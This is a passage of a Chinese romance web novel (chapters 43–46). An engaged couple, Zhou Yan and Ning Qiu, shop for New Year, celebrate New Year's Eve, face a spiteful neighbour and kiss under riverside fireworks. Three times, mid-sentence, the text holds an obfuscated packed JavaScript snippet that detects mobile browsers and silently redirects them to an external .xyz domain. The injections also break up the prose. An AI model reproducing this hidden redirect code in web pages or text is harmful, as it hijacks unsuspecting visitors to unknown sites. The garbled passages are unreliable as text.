“一家人不说两家话。” 周母交代清楚施施然回屋休息了，余留周砚和宁秋两两相望。 “那个，周大哥你先还是我先？”宁秋问，目光随即转向水井边的木桶。 周砚没急着回答她的问题，而是反问道：“周大哥？我记得两刻钟前某人还甜甜地唤我阿砚哥哥，改口是不是太快了？” 他特意加重了“甜甜”二字，意有所指，宁秋的神色瞬间变得不自在起来。 43. 过年 “我琢磨了一下，好像阿砚哥哥这个称呼更悦耳，不如秋秋再唤两声来听听？” 周砚深知宁秋的羞囧故意逗她玩，看着她不断变化的神色，上扬的嘴角怎么也收不下来。 他心思不纯，宁秋也不是傻子，很快反应过来，笑骂道：“这么爱听干脆搬家去裴府得了，反正我不喊也会有别的人喊。” 周砚：…… 坏了，搬起石头砸到自己的脚了。 周砚摸摸鼻子，当即认了怂。 生怕宁秋揪着这件事不放，他转身就走，勤勤恳恳打水提水，帮宁秋准备的妥妥贴贴，连一会儿洗衣裳的水也准备好了。 见他识趣，宁秋轻哼一声回屋拿干净衣裳，迅速沐浴洗漱，忙完也不与周砚多言，回屋歇下了。 周砚看着她的背影垂眸笑笑，也赶忙收拾干净自己，回屋了。 他躺在床上回想今晚发生的事情，复盘思索间，对于如何与宁秋相处有了更进一步的感悟。 每个人的性子不同，经历不同，遇到同样的事情也会生出不一样的想法，做出不一样的选择。 宁秋孤身一人无娘家撑腰，比其他姑娘敏锐，内心缺乏安全感实属正常，他作为准夫君，未来的家人，就该多包容理解。 有些事急不得，感情可以慢慢培养，信任也可以。 想到这，周砚心中有了打算，缓缓闭上眼睛酝酿睡意。 明日一早还要当值，太晚睡会影响第二日的精气神，耽误办事，他刚坐上捕头的位置，不能放松警惕落人把柄，还是要小心为上。 冬夜漫长，左邻右舍早已睡下，余留无家可归的北风仍不知疲倦继续在城中肆意穿梭，发出呼呼声响，伴着城中百姓安眠。 ...... 自那晚因裴华玉失礼行为而小吵一架后，周砚和宁秋私底下都有好好反思自己并付诸行动做出改变。 宁秋会抽空给周砚做袜子做衣裳，关心他当值顺不顺利，有没有遇到什么难处，即便帮不上忙，做个倾听者也能让周砚感到心中熨帖。 而周砚认为自己是男人，养家担责任是理所应当的，即便遇到难处，也从不会大喇喇说出来。 若是宁秋问起，他便挑些办案时遇到的趣事说给她听，顺便探一探她的看法，借此更进一步了解她的内心。 不仅如此，他只要在平州，得闲就接宁秋上下工，一个不爱应酬的人破天荒主动约饭，邀约那些与他关系好的朋友，有时候下馆子，有时候请到家中，每次都会带上宁秋，大大方方将她介绍给自己的朋友，也将自己的朋友介绍给她认识，彼此间混个脸熟。 特别是裴华丰，手头没事就爱往周砚跟前凑，一来二往，宁秋与他也熟识起来。 如此不到一个月时间，宁秋心中那点拧巴全部抚平了，她与周砚的感情也有了突飞猛进的发展。 时至年关，金绣阁掌柜按照规矩给绣娘们放三日假，还每人分发十斤精米、一包年糕作为节礼让大家好好过个年。 至于守店不放假的伙计，节礼正常领，值守当日多发两倍月钱。 一时间整个金绣阁喜气洋洋，充满了欢声笑语，大家伙干劲十足，早早将自己的任务完成，三三两两结伴回家了。 宁秋今日动作稍慢一些，其他人都走的差不多了，她才拎着精米和年糕慢悠悠下楼，毫不意外在门口看见了周砚。 “周大哥，米太重了，你帮我拿。” 她自然而然将米递过去，周砚接过来掂了掂，问道：“这得有十斤吧？” 宁秋回道：“嗯，就是十斤，掌柜选米时特意让米粮铺的人分装好，都过了秤，东家生意不小，其他产业铺子应该也发米和年糕，听说跟那家粮铺合作好几次了，粮铺那边应该不会作假。” “也是。”周砚随口附和并没有太在意。 懂点生意经的人都不会为了一点小利去得罪一个大客户，坏名声不说，丢失客户造成的其他损失是不可估量的。 周砚将米袋换右手提，左手自然而然握住宁秋的手，说道：“我们先回家，时间还允许的话，喊上阿娘一块上街采买年货，明日除夕比较忙，恐怕没那么多时间去采买了。” “好，我也是这么想的，记得多买点零嘴。” 宁秋喜欢吃乱七八糟的小零嘴，在家吃，上工时也会带一点过来，空闲的时候吃两口解解馋。 她的小喜好周砚都记得，小事一桩，自是要满足她，当即应声道：“好，你想吃什么一会儿都买。” 二人高高兴兴，一边闲聊一边往家的方向走，路上遇到熟人，免不得闲谈客套几句，耽误了些许时间。 老槐巷周家。 周母忙活了一整天，扫地擦桌刮蛛网，将家中里里外外上上下下打扫干净，刚忙完坐下，感觉浑身处处不舒服，又酸又疼。 周砚和宁秋进门时，正好看到她握拳捶腿，一脸疲惫的模样。 宁秋反应最快，关切问道：“婶娘这是老毛病犯了？” “不是，我那老毛病许久不犯了，这会儿纯属累的。”周母见他们回来也不捶腿了，迎上来诉苦道：“我年纪大了，不服老不行，搞搞家里卫生就累得受不住，早知你们今日回来那么早，我便偷偷懒，留些活让砚哥儿干了，哎呦，我的腿啊，今晚别想睡好了。” “您觉得累就歇歇，活等我们回来再干也不迟。” 宁秋安慰周母，又进自己屋找了瓶药酒，叮嘱周母道：“婶娘，这是我从章回县带来的药酒，您今晚睡前一个时辰抹到不舒服的位置，药酒起效，就舒坦好睡觉了。” 相比宁秋的贴心，周砚这个亲儿子淡定多了。 他将金绣阁发的米全部倒入米缸中，封好缸口才吐槽道：“我前几日就跟您说过不用大扫除，家里都是勤快人，平时看到哪里脏顺手就搞干净了，您非不听，搞什么大扫除，摆明了没苦硬吃，您不累谁累？” 宁秋：...... 周母：...... 周砚的话实在太过直白，太不讲情面，话落，周母的脸色刷一下变黑了。 “你的意思是我活该？” 周母不可置信地瞪向周砚，当即感觉腰不酸，腿也不疼了，操起扫把气势汹汹打过去。 她边打还边骂道：“我打死你个不孝子，老娘辛辛苦苦忙活一天，一句好话没得，你还说这种鬼话，真是气死我了，不准跑！” 母子俩的矛盾一触即发，宁秋扶额，一时间拦也不是，不拦也不行。 周砚担心老娘摔着，假装逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792266|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两步就停下来，生生挨了几扫把。 “不孝子，生块叉烧都比你孝顺。”周母气呼呼大骂，只是手中的扫把到底没舍得再打下去。 见周母停手，宁秋松了一口气，赶忙上前扶住她，安抚道：“婶娘别气，周大哥不是那个意思，他心疼您劳累，不想让你干太多活，只是嘴笨，话没说不到点上，您就当他方才放了一个屁，莫要跟他计较。” 说着，宁秋嗔怪地瞪了周砚一眼，无声的控诉。 周砚摸摸鼻子，心虚地别过脸。 其实，他并不觉得自己的话有错，有些事他说过不止一次两次了，偏偏他娘天生反骨，不让她做，她就偷偷做，完了这痛那痛，再抱怨一回，可不就是没苦硬吃么？ 明明说的都是大实话，反倒成不孝子了，周砚自己也觉得很无语。 母子俩都是犟种，一个太有主见，不听儿子劝告，凡事按照自己的想法来，不让做也要做。 另一个一点不惯着，有问题毫不留情点出来，管你是亲娘还是亲爹，该说就说。 若非宁秋从中转圜，今日他们母子俩又得辩一场。 “一个屁都比他说的话动听，不孝子。” 周母气呼呼反驳，冷哼一声，攥紧宁秋给的药转身进屋了。 那门关的震天响，不必多言都能知晓屋子主人汹涌的怒火。 周砚和宁秋面面相觑，皆是无奈一笑。 考虑到母上大人怒气未消又忙碌了一日，他们放弃带她出门采买的打算，一人背着一个背篓出门了。 年关将至，平州城的大街小巷都挂上了红灯笼，还增加了许多卖对联卖年货的摊位，随处可见红灿灿一片，年味十足。 周砚和宁秋拿着罗列好的采买清单，一路走一路买，目标十分明确，免去纠结犹豫的功夫了。 他们路过一个卖对联的摊位，宁秋不由自主地停下脚步，一瞬不瞬静静望着摊前埋头书写的中年男子。 “秋秋怎么了？”周砚顺着她的目光看过去，不解地问：“可是看上了这个书生的字？你若是觉得好，咱们就买他的对联，不看其他家了。” 宁秋摇摇头，眼神复杂。 片刻后，她才说道：“阿爹在世时，每年除夕前五日，他都会抽空带我上街摆摊卖对联，阿爹字写得好，价格公道，城中不少百姓认定了他，年年都要买我们家的对联，有时候没来得及出摊，还有人找上门呢！” “那岳父很厉害。”周砚由衷称赞。 “那是自然。” 宁秋眼中满是怀念，还隐隐有些自豪，“阿爹字好，画画也不错，有时候非年非节，还有大户人家特意派下人登门，请他帮忙题字呢！” 周砚没见过宁父，自己又是个粗人，虽有幸识得几个字，能够协助上峰处理衙门的公事，但说句实话，他还真没有品鉴文绉绉作品的能力，更想象不出宁父挥墨落笔的场面。 他在心中轻叹，没有发表自己的看法，选择做宁秋最忠实的听众。 “你还别说，那人的身形跟我阿爹还有些像。” 宁秋很是感慨，越是这般想，目光就越挪不开。 许是她的目光太过火热，写对联的中年书生抬起头朝他们二人看来，笑问：“二位要买对联吗？” 44. 除夕 “三十文钱一副，赠一个福字。” 宁秋闻声瞬间收回自己乱飘的思绪，打量中年书生一眼，笑问：“摆出来的几幅对联没有我满意的，先生可以按照我们想要的内容重新写吗？” “自是可以。”中年书生毫不犹豫地回答。 他眼神温和，做了个请的手势，示意宁秋二人坐下来，以便商议对联书写的内容。 “有些客人赶时间喜欢买现成的，所以我提前准备几幅供他们选择，二位不赶时间可以想好内容再告知我。” 中年书生一边研磨一边给宁秋他们介绍自己的小摊，继续说道：“我姓王，熟识的人都唤我王秀才，家住在附近，读书之余会出来摆摊赚点银子养家，主接信件、对联、诉状、抄书，二位有需要可以找我代写，收费绝对公道。” “好说好说。”周砚敷衍地应和一句。 他和宁秋都识字，有需要可以自己写，没必要多花一笔钱，只是人家主动介绍他们也不好拂了对方的面子。 摊位前只有一张空凳子，周砚扶着宁秋坐下，自己则站在一旁，身后背着一个大背篓，手上还提着一个。 书生招揽生意的目的达到了，当即也不啰嗦，殷切询问道：“对联二位想要什么内容，要几幅？” “要四副，内容秋秋你来说。”周砚自然而然接话，将选择权交给宁秋。 他还是很有自知之明的，家里门头几个能数清楚，但是对联内容他就不太懂了。 往年他与阿娘出来采买，都是随便挑四副回去，讨个好意头，增加家里的年味。 至于内容是啥，他们母子都不讲究，也懒得去看。 宁秋其实也不知道自己想要什么内容，方才不过是随口一问。 想了想，她问王秀才道：“您可有关于对联的书册？” “有有有。”王秀才二话不说从桌下抽屉拿出一本书递给宁秋，笑道：“你这丫头懂行，对联大全你看看，想要哪个慢慢挑。” 宁秋笑而不语，认真翻看起书来。 趁着她挑选对联的空档，周砚寻个话题与王秀才攀谈，短短一刻钟时间让他对科举取士有了更深层次的了解。 武夫靠拼命搏前程，流血又流汗。 书生无性命之忧，但是读书太吃天赋了，没有天赋任凭你读生读死都没有出头之日。 当然，除了天赋之外，努力、气运、身体也不能差，不然很有可能站着进考场，躺着出来，甚至连进考场的机会都没有。 说来说去，文官武官都得看命，命里无时强求不来。 “选这四幅，劳烦先生了。” 宁秋按照王秀才的意思用书签隔出自己想要的内容，将书递还，随即看了身侧的背篓一眼，与王秀才商量道：“先生书写需要时间，我们也还有东西没买，能否先付一半定金，晚些再过来取？” “可以可以，我摆摊到酉时初，过了时辰，我得回家陪夫人孩子吃饭了，你们若是酉时之后回程，估摸要到长青巷十五号找我。” 王秀才不好意思地挠挠头，小心打量周砚二人的神色，生怕他们不高兴，到手的生意飞了。 宁秋不觉得有什么，以前她阿爹也这样，提前说清楚了，客人赶不及直接到家里找也无妨。 她笑道：“没问题，我们应当不会逛那么晚，还要回家操持晚饭。” 双方达成一致意见，周砚付了六十文钱定金，与宁秋继续逛街市去了。 半个时辰后，二人原路返回，正好遇到王秀才的闺女过来喊他回家吃饭，小姑娘声音甜甜的，一声“爹爹”好似将宁秋拉回十几年前，眼前一阵恍惚。 只一瞬，她双眸中便盈满了水气。 周砚结清对联尾款跟王秀才客套了两句，回头看见宁秋一副要哭的模样顿时吓了一大跳，忙问道：“秋秋，你怎么了？” 他匆匆在脑海中回想一轮，也没发现有何不妥。 “我没事，只是看到王秀才父女俩突然想阿爹了。”宁秋眨眨眼睛，很快调整好自己的状态，“时辰也不早了，我们先回家吧！” “好。”周砚没多问，牵住宁秋的手没再放开。 老槐巷周家。 周母擦完药酒歇息一个时辰基本恢复的差不多了，见周砚二人回来，她赶忙迎上去帮忙整理年货。 “还好你们没买多少新鲜菜，鸡和鱼养起来，今晚随便弄点吃一顿，除夕夜杀鸡杀鱼再好好操持。” 周母一边整理一边碎碎念。 干菜、腊肉、糕饼这些耐放又不急着吃的食物全部放到空米缸里储存好。 对联炮竹暂时收屋子里，明日直接拿出来张贴就行。 “咱们家亲戚不多，砚哥儿姥姥家需要三份礼，老槐巷这边王婶子家一份，翠英和春兰家各一份。” 周母整理出六份礼，随即看向周砚和宁秋，问道：“秋秋这边要准备几份？砚哥儿的上峰、同僚是否也要备下年礼？” 周砚沉吟片刻，回道：“我这边比较讲究，不着急，到时候我再根据实际需要上街采买就行。” 他前两年也如此，观望一两天，探一探同僚们的动作，年礼无需太出挑，中规中矩不出错即可。 倒是宁秋犹豫半晌儿，最后要了三份。 “我家的亲戚以后都不走了，上次回章回县定亲，也给青花婶她们送过礼，说好过年不回去，所以不用考虑她们。平州这边我只认识金绣阁的人，给掌柜、陈管事和婉莹各送一份就行。” 周母点点头，单独准备三份礼，按照走亲戚的份量准备，宁秋在旁看着，心中熨贴，满足地笑了。 一切准备就绪，周母催促周砚去煮面，三人随便吃点就早早睡下了。 明日除夕要干的活很多，得养精蓄锐。 翌日天还没亮，周家三口人就被左邻右舍“喜庆”的声音吵醒了。 说话声，锅碗瓢盆声都还算能接受，大清早放鞭炮未免太过分了些。 “除夕除夕，吃的也是年夜饭，大早上天还没亮放什么鞭炮啊？钱多烧的慌？” 周母骂骂咧咧，实在不知道那些人怎么想的，难道早起祭祖放鞭炮还能让先祖保佑发大财不成？ 真有用，世上就没有穷人了。 宁秋揉着眼睛走出来，正好听见周母念叨，便随口接道：“不知道啊！我们章回县没有这样的，实在太吵了，想多睡一会儿都不行。” “一会儿就好了，每年都有人早早放一轮鞭炮，放完就会安静下来，你瞧，砚哥儿那屋还没动静，肯定躺床上等着呢！难得放假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801677|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你多睡一会儿，不用急着起床。” 周母刚劝两句，就听吱呀一声，周砚收拾齐整开门走出来，见老母亲和媳妇凑在一起嘀嘀咕咕，便好奇问道：“你们聊什么？” 庭院中有一瞬间的安静。 周母看了宁秋一眼，尴尬道：“没事，我们讨论早饭吃什么，对吧，秋秋？” “是啊！”宁秋捂嘴偷笑。 周砚道：“不用浪费柴火了，我洗把脸去巷口买。” “我和你一起去吧！”宁秋忙道。 周砚闻言点点头，一双眼直勾勾盯着宁秋看，直看得她不好意思的低下头。 今日的巷子格外热闹，天刚亮，外面就有不少人走动 他们看见宁秋和周砚并肩而行都纷纷上前打招呼，不要钱的祝福说了一遍又一遍，周砚二人都客客气气回应了。 客套完，邻居们还不忘多说一嘴，用调侃的语气道：“你们什么时候办席？到时候多生两个孩子给你娘带，免得她总羡慕别人家热闹。” 宁秋脸皮薄，听到大家伙调侃羞涩地低下头，纤细的身子微微后退。 她的小动作瞒不过身边人，周砚当即挪动脚步，高大的身形正好将她挡在身后，大大方方告知婚期，还随口邀请对方来吃酒。 反正客气话说出去了，请不请还得看情况，来不来也要看对方的意思。 大家伙都是明白人，不会将场面话当一回事，总归面子上过得去。 在外转一圈，他俩一人提着油纸包好的肉包子，一人抱着装豆浆的陶罐，慢悠悠往家走。 一进门，周砚便腾出手轻轻在宁秋头顶敲了敲，笑着调侃道：“出息，平日里不是挺会说的吗？” “平日也不说这些。”秋秋鼓着脸，避开周砚的手，控诉道：“再者从章回县回来时，婶娘都在外宣扬一圈了，我不信他们不晓得，没话找话，故意逗我们玩呢！你还说我，一会儿我就跟婶娘告状，说你欺负我，让她老人家治治你。” “哦？怎么欺负了？”周砚突然靠近，丹凤眼中盛满了笑意，“你说清楚我才好照做，不然白担一个名头岂不是亏大发了？” “呸，不要脸。” 宁秋嗔骂一句，俏脸微微透着粉，转头避开进了厨房。 没一会儿，厨房就传出她与周母交谈的声音，来自亲娘的召唤也在下一刻传到周砚耳中。 一家三口吃完早饭开始分工干活，周砚负责烧热水杀鸡宰鱼，周母和宁秋忙着贴对联，上香祭拜已故亲人，跟他们念叨念叨这一年的生活，好让他们九泉之下安心。 忙忙碌碌大半天，申时正刻，丰盛的年夜饭上桌了。 六菜一汤，荤素搭配。 “这个时辰吃年夜饭是不是太早了？”宁秋一边摆碗筷一边笑道。 周母指挥周砚洗锅，听宁秋说起便回道：“不早了，除夕守岁，半夜还得吃一顿，不然饿得睡不着。” 宁秋想想也是，便不再多言，一家三口围坐在一起热热闹闹吃了一顿年夜饭。 饭后周母提着年礼去老姐妹家串门，宁秋闲得无聊坐在天井处发呆，周砚见状，神神秘秘凑过来，“秋秋，我们也出门走走吧？” “去哪？”宁秋问。 “到那你就知道了。” 45. 烟火 宁秋平时很忙，每天金绣阁和家两点一线，想到处走走看看也没时间。 除此之外，她最多上街买菜买生活用物，其他地方有什么好吃的好玩的，她根本不了解。 周砚的话带着引导意味，半遮半掩，直接勾起她的好奇心，只犹豫片刻，她便点了点头，说道：“成，听你的安排，但是提前说好不能太过分。” “只是出去散散步，跟过分扯不上关系，放心吧！”周砚顺手捏捏她的脸，笑的意味深长。 二人趁天还没黑，收拾一下高高兴兴出门了。 然而高兴不到一刻钟，出门正好碰上斜对门的“旧亲戚”。 宁巧娘手中提着一斤猪肉满脸愁苦往家走，看见宁秋出门正打算阴阳怪气骂两句，侧目便见周砚也出来了。 她不敢得罪周砚，赶忙低头躲避，掩饰自己眼中的嫉妒与怨恨，骂人的话也只能默默咽下去了。 两家闹掰是摆在明面上的事，毋庸置疑。 然而时至今日，宁巧娘仍然觉得错在宁秋，自家什么问题都没有。 在她的认知里，宁秋没来平州前，他们家吃香喝辣，她还有个做管事的夫君，日子有滋有味，不知多幸福。 如今她家夫君被赌坊的人打断腿不说，还丢了朱家管事的活计。 公公是木匠手艺人，以前生意还不错，因为宁秋大闹一场，所有人都误解他们家人品差，也没人来找公公做活了。 一家六口全指望她那点月银过活，日子紧巴巴，连肉都吃不起。 大过年的，各家各户喜气洋洋，走在巷子里都能闻到饭菜的香气，唯独他们家死气沉沉，冷锅冷灶，稍有不顺心就鸡飞狗跳。 家里人要是吵起来，她上前劝阻也没半点用处，免不得还要挨两巴掌。 现在的她又冷又饿，手中提着蹲守半天才买到的打折猪肉，眼睁睁看着宁秋二人远去，心里的不甘与愤恨再也掩饰不住爆发了。 “呸，装清高的贱皮子，之前要死要活，我还以为真是贞洁烈女，结果转头就爬了别人的床？某些人眼瞎，错把鱼目当珍珠，宝贝得跟什么似的，以后生孩子还不知道是谁的种呢！” 宁巧娘骂骂咧咧，一边往地上啐口水。 虽没有指名道姓，但知晓其中弯绕的人一听就知道她骂的是谁。 “克死爹妈又害我全家，这种祸害怎么还能好好活着，真是老天不公。” 她左右看看，以为没人听见就越骂越起劲，仿佛多骂几句就能改变自己家的现状让宁秋付出代价一样，殊不知，她的话一字不落全被周母听去了。 周母面沉如水，蹬蹬蹬将步子踩得震天响，很快引起宁巧娘的注意。 “哟，我说是谁那么没素质到处乱吠，原来是庞跛子家的，怎么，你家庞跛子对你不好，所以你嫉妒我们家秋秋了？” 周母皮笑肉不笑，看向宁巧娘的眼神中满是冷意，“不对不对，我看你家庞跛子对你挺好啊！老话常说，打是亲骂是爱，他天天骂你，三天两头打你，我看你两感情好得很，根本没必要嫉妒我家秋秋。” “话说你家庞跛子对你那么好，你生的孩子应该是他的种吧？要不是，他就得多个外号，叫绿王八了。” “你你你，你放屁！” 宁巧娘背后骂人原本还有些心虚，听了周母的话顿时气不打一处来，怒道：“你老周家才养绿王八，一个克爹克娘的贱皮子，也就你们眼瞎当宝贝，我有什么好嫉妒的，我家桥哥只是一时失意，对我好着呢！” “是是是，对你好，骂爹骂娘，让你满身青紫的好，可爱死你了。”周母翻了个白眼，无视宁巧娘的无能狂怒，又是好一通嘲讽。 她俩的声音都没收着，很快就有邻居闻声出来看热闹，大过年的，周母不想被别人当猴看，临了骂两句就回家了。 大门一关，管她外面是猫是狗，全当放屁听个响。 邻居们没热闹看，也都回了家，只剩下宁巧娘留在原地委屈落泪，骂不过别人，也不敢动手。 还是庞家老婆子等半天不见人回来，耐心告罄出来大骂她一顿，她才收起心中的悲春伤秋回家做饭。 老槐巷这边的闹剧周砚他们一无所知，此时此刻，他俩已经沿着小路往城西去了。 平州城依江而建，从老槐巷往西南方向走半个时辰便能抵达平流江畔。 这个时节雨水少，江面要比汛期窄，临江有一条商业街，商铺涵盖吃喝玩乐各类生意，不管白天晚上，这里的人都很多。 而江景也是商铺掌柜们招揽生意的一大买点。 江和街中间还隔着一条宽敞的道路，主要供城中百姓们散步赏景，夜里有专门的人掌灯，还有官差巡查，不用担心治安问题。 除非特殊时期府衙明令禁止不准出江，其他时间江面上船只不断，即便是晚上也会灯火通明，人行走在江道上，还能清晰听见花船上阵阵丝竹之声。 逢初一十五，江边还会有小摊贩卖河灯以及其他有趣的小玩意，人来人往很是热闹，周砚小时候最喜欢来江边玩了。 “秋秋，时辰刚刚好，走快两步我们还能看到日落。” 周砚牵着宁秋的手边说话边加快脚下的步伐，“今日天气好，日落时候的江景肯定很美，日落很快，一刻钟左右，晚些就赶不上了。” “可是，可是我走不动了。”宁秋弱弱回一句。 她已经很努力迈腿了，但是两条腿好似不听她的使唤，怎么也走不快。 周砚的速度稍微加快一点，她跟起来就更吃力。 走着走着，她脚步突然踉跄一下，若非周砚反应快及时扶住她，她非得摔个狗吃屎，成为今日平流江畔的笑话。 “周大哥，你能不能走慢点，我跟不上你了。你的腿有多长心里没点数吗？一步都顶我两步了，你还走那么快。” 宁秋俊俏的小脸皱成一团，语气里满是控诉，“日落看不着就算了，我累了，不想走那么快。” 周砚这会儿也意识到自己太过着急，没有顾虑宁秋的情况，赶忙道歉：“对不起，是我疏忽了，方才那一跤有没有伤到脚？” “没有。”宁秋的声音依旧闷闷的，“左脚拌右脚，一时没稳住身形才摔的，脚没事。” “那就好。” 周砚松了一口气，二人也得到短暂的休息时间。 看着周围人来人往，他望了望天色，用商量的语气询问道：“还能走吗？今年的最后一场日落很有意义，我想与你一起看。” 他的眼神中满是期待，声音温和又克制，宁秋根本抵挡不住。 正好她的情绪也平复下来了，听周砚如此说，心中也隐隐生出些许期待。 她嗫嚅道：“能走，但是走不快了。” 周砚一听有戏，面上神情丰富了一些，笑问：“这里离江边也没多远了，我背你走好不好？” “不好吧？那么多人看着，会被人说闲话的。” 宁秋脸皮薄，左右瞧瞧心里有些打鼓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803257|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周砚却不会想那么多，他向来痛快，说干就干，话落立马背过身半蹲在宁秋面前，催促道：“上来。” “不行的，这里人那么多。” 宁秋还在纠结犹豫，便听周砚又道：“人多就人多，我背自己媳妇还碍他们眼了？我看谁敢说三道四。” 他的话直白又霸道，听在宁秋耳中不禁红了脸。 “来吧！再晚就看不到日落了。”周砚又一次催促。 这次宁秋不再犹豫，直接趴到周砚的背上，手臂下垂，环住他的脖子。 周砚感受到背上的重量慢慢起身，结实有力的手臂扶住宁秋的腿弯处，故意往上颠了颠，惹得宁秋一声惊呼，周围人全都看过来了。 “别闹，再胡来就不让你背了。”宁秋埋首在他的肩膀处，尽量将挡住自己的脸，怕被熟人认出来。 “好好好，都依你，走咯！” 周砚痛痛快快应答，声音是前所未有的欢快，“你回家记得多吃两碗饭，太轻了，背着你走路跟没背人一样轻松。” “噗嗤！” “你莫要胡说。” 宁秋被他这话逗笑，心里甜丝丝的，对日落的期待更甚了。 周砚脚程很快，半刻钟左右就抵达平流江畔了。 他寻了块人少的草地将宁秋放下来，二人并肩而坐，手臂一捞，宁秋便靠入他的怀中。 “秋秋你看，我就说今日天气好，落日一定也很美。” 宁秋闻言顺着周砚手指方向看过去，便见天边挂着一个大红盘，红盘周围是漫天红霞，将整个天幕以及天幕之下的城镇山河都晕染成了红色，美得绚烂夺目。 江水波光粼粼，宛如红霞在荡漾，别有一番意境。 宁秋双眸越来越亮，笑意盈盈，忍不住感叹道：“确实好美，那江面好似一匹上好的红色浮光锦。” 周砚没见过浮光锦，不过宁秋说像那肯定就很像。 夕阳很美，可惜这种美并不能留存太久。 在众多平州百姓的见证下，除夕的夜幕降临了。 宁秋侧头问道：“天黑了，我们要不要挪个地方？” 这块草地后边正好有一棵树，将他们的身影挡住，别人不特意找根本看不到他们，但是也将为数不多的光线挡住了。 天一黑，他们连彼此的脸都看不清。 “不急，江面上的船只开始掌灯了，晚些会有不一样的光景。” 周砚的话信誓旦旦，宁秋想了想，也摁住了跑路的心，就是大冬天坐在江边吹风有点冷。 她打了个寒颤，下意识往周砚怀中缩了缩。 也不知道等了多久，江面与身后的街市都渐渐热闹起来，丝竹管弦乐曲阵阵铺开，随即江对岸影影绰绰出现一群举着火把的人，没等宁秋适应种种变化，河对岸突然“啾”一声，一道火光冲上天瞬间爆开。 烟火绚烂绽放，宁秋猛地坐直身体，望着难得一见的烟花发出渐渐赞叹。 “江边每年除夕都会放烟火。”周砚就知她会是这样的反应，“你若喜欢，以后每年我都陪你来。” “好。”宁秋顺口回答。 她的注意力都在烟火上，根本没发现身侧人越发幽深的眼眸。 “秋秋。” “嗯。” “秋秋。” “嗯？” 宁秋疑惑回望，还没搞清楚什么情况就感觉后脑勺被制住了，随即腰间一紧，周砚的吻又急又重地落下来。 46. 收假 唇齿相依，辗转流连。 宁秋感觉自己的呼吸全被周砚掠夺了。 她轻咛一声，感受到彼此的气息在交融，脑子也逐渐变得空白。 他们的距离越来越近，到最后紧紧贴在一起，身上的冷意也被火热所替代。 宁秋小幅度挣扎，还往周砚身上掐了两下，他才依依不舍地松开一点，额头抵着她的额头，哑声问道：“怎么了？” “别闹。”宁秋动了动发麻的唇瓣，声音微哑有些软，伸手推他也没推动，只能劝道：“还在外面，等下被别人看见了。” “没事的，这个位置隐蔽不会有人发现，你莫动，让我缓一缓。” 周砚亲了亲宁秋的鼻子，迅速埋首在她的脖颈处，粗重的气息喷洒而出，在她的肌肤上引起轻微瑟缩，厚实的手掌有一下没一下地顺着她的背脊上下滑动。 宁秋经常看话本子，并非什么都不懂的毛丫头，这会儿感受到他的克制和隐忍，心下了然，一动也不敢动，任由他抱着，渐渐平息浑身躁动。 江风阵阵吹拂而过，将她的脸颊吹得生疼，如此不知过了多久，她终于受不了了，食指戳了戳周砚的腰侧提醒道：“太晚了，我们回家吧！” “嗯。” 周砚轻声回应，不舍地松开怀中的姑娘，讷讷道：“离婚期还有三个月，时间过得真慢，早知道让阿娘选腊月那个日子了，如此一来，现在你便是我娘子，不用担心别人说三道四了。” 什么闲话不闲话的，宁秋早已不在意。 反正自她住进周家，各种闲话不断，只是很多没有舞到她面前而已。 别人说什么做什么她没有权利管，只能调整好自己的心态，过好自己的日子。 毕竟有人的地方话题就永远不会缺少，新的话题出来，前一个话题也会慢慢被人淡忘，如此循环往复，谁都有可能成为话题的主角。 等她与周砚成婚，明媒正娶，那些人即便心里有意见也不敢说出来，还得客客气气恭喜她。 宁秋想通其中关窍后，心境开阔不少，面对邻居们也能坦荡交流，她的变化周砚都看在眼里，心里跟明镜似的。 这会儿他突然感慨一番，宁秋略微思索便知他心里想什么了，当即又羞又恼，伸手要掐他腰间软肉，可惜冬日的衣裳太厚实没成功。 “你管管自己的嘴，莫要胡言乱语。”她气恼道。 周砚闻言眉梢一挑，假装不明白宁秋的意思，意有所指地说道：“在下所言出自肺腑，句句属实，宁娘子心善，可莫要乱扣帽子，还是说宁娘子心里有其他想法？若真如此，不妨说出来，在下帮你分析分析。” 他这招出的妙，文邹邹一通话，直接将问题重新抛回给宁秋，将她想要说的话全部堵上了。 宁秋欲言又止，一脸复杂地望着周砚忽明忽暗的脸，实在想不到话来反驳。 她总不能明说不让他惦记酱酱酿酿的事吧！ 太丢脸了，她说不出口。 “哼，婶娘还说你嘴笨不会表达，我看你的嘴比我还厉害。” 宁秋白他一眼，憋憋屈屈转身就走，双腿一个劲倒腾，自以为走的快，然而没走多远就被周砚悠哉悠哉追上了。 “走不动我背你啊！”周砚故意说道。 宁秋没理会他，继续埋头往前冲。 二人一前一后时不时并肩行，半个时辰后终于走回周家。 